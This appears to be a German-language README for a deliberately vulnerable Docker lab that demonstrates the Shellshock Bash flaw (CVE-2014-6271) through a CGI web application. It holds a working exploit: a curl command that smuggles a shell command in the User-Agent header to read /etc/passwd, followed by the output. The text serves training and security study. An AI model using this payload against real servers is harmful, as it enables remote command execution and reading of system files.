
Schwachstelle als Dienst: Vorstellung von CVS-2014-6271, a.k.a. Shellshock
Ein Debian (Buster) Linux-System mit einer anfälligen Version von Bash und einer Webanwendung, um CVE-2014-6271, auch bekannt als Shellshock, zu demonstrieren.
Dieser Docker-Container basiert auf Debian Buster und wurde modifiziert, um eine anfällige Version von Bash (bash_4.2:2b:dfsg-0.1) zu verwenden.
Eine Webanwendung ist über Apache 2 verfügbar und stellt ein CGI-Skript bereit, das Shell-Befehle ausführt.
Installieren Sie den Container mit docker pull hmlio/vaas-cve-2014-6271
Führen Sie den Container mit einer Portzuordnung aus: docker run -d -p 8080:80 hmlio/vaas-cve-2014-6271
Sie sollten in der Lage sein, auf die Webanwendung unter http://your-ip:8080/ zuzugreifen.
Die Webanwendung / die anfällige Bash-Version kann wie unten gezeigt ausgenutzt werden:
# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'" http://your-ip:8080/cgi-bin/stats
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
Das Konzept und die Webanwendung sind stark von der VulnHub-VM "Sokar" inspiriert, erstellt von rasta_mouse. Für weitere Details besuchen Sie bitte https://www.vulnhub.com/entry/sokar-1,113/.